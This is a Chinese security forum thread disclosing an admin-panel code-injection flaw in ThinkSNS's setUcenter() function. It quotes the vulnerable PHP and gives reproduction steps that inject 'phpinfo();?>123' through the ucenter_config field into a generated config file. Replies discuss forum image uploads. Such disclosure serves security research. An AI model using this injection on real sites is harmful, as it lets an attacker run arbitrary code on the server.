[【申请转正】] thinksns一处后台getshell

[复制链接]
Hckmaple 发表于 2017-3-5 15:08:30 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 1

下载并本地安装最新版的thinksns



来到/apps/admin/Lib/Action/ConfigAction.class.php



跟进到第2244行



问题在函数setUcenter()



设置ucenter的地方

        public function setUcenter() {
                // 读取文件
                if ($_POST) {
                        if (! file_exists ( CONF_PATH . '/uc_config.inc.php' ))
                                touch ( CONF_PATH . '/uc_config.inc.php' );
                        if (! is_writable ( CONF_PATH . '/uc_config.inc.php' ))
                                $this->error ( CONF_PATH . '/uc_config.inc.php 文件不可写' );
                        if (isset ( $_POST ['ucenter_open'] ) && isset ( $_POST ['ucenter_config'] )) {
                                $ucopen = intval ( $_POST ['ucenter_open'] );
                                $content = "<?php
define('UC_SYNC', {$ucopen});
" . $_POST ['ucenter_config'];
                               
                                file_put_contents ( CONF_PATH . '/uc_config.inc.php', $content );
                        }
                        $this->success ( '保存成功' );
                }
               
                $config = file_get_contents ( CONF_PATH . '/uc_config.inc.php' );
               
                preg_match ( '/\'UC_SYNC\', ([0|1])/', $config, $match );
                $uc_open = intval ( $match [1] );
                $config = str_replace ( array (
                                "<?php",
                                "define('UC_SYNC', 0);",
                                "define('UC_SYNC', 1);"
                ), '', $config );
                $config = trim ( $config );
                $this->pageKeyList = array (
                                'ucenter_open',
                                'ucenter_config'
                );
                $this->opt ['ucenter_open'] = array (
                                1 => L ( 'PUBLIC_OPEN' ),
                                0 => L ( 'PUBLIC_CLOSE' )
                );
                $data ['ucenter_open'] = $uc_open;
                $data ['ucenter_config'] = $config;
                $this->savePostUrl = U ( 'admin/Config/setUcenter' );
                $this->displayConfig ( $data );
        }




其中

$content = "<?php

define('UC_SYNC', {$ucopen});

" . $_POST ['ucenter_config'];



file_put_contents ( CONF_PATH . '/uc_config.inc.php', $content );



中传入的ucenter_config是完全可控的



也就是说  我传入一个    phpinfo();?>123



就能在生成的  uc_config.inc.php 中插入phpinfo









复现流程   



登陆后台---来到系统---ucenter配置---选择开启,并且插入phpinfo();?>123  ----保存



然后成功执行phpinfo





访问wwwroot/config/uc_config.inc.php  即是被插入phpinfo的文件


顺便为啥没法传图片。。。。。。
dicky 发表于 2017-3-5 15:13:43 | 显示全部楼层

正式成员|主题 |帖子 |积分 137

先上传附件,在插入进去,就是图片了。。。
管理05 发表于 2017-3-6 11:45:53 | 显示全部楼层

管理|主题 |帖子 |积分 936

换个浏览器就可以了 360 谷歌应该是可以的  图片上传下吧 然后给你酒票
大饭刚 发表于 2017-3-6 13:02:44 | 显示全部楼层

正式成员|主题 |帖子 |积分 41

表示如何搞定后台呢
 楼主 Hckmaple 发表于 2017-3-14 22:14:45 | 显示全部楼层

正式成员|主题 |帖子 |积分 1

RE: thinksns一处后台getshell

管理05 发表于 2017-3-6 11:45
换个浏览器就可以了 360 谷歌应该是可以的  图片上传下吧 然后给你酒票

依旧无法上传  显示IO error
快速回复 返回顶部 返回列表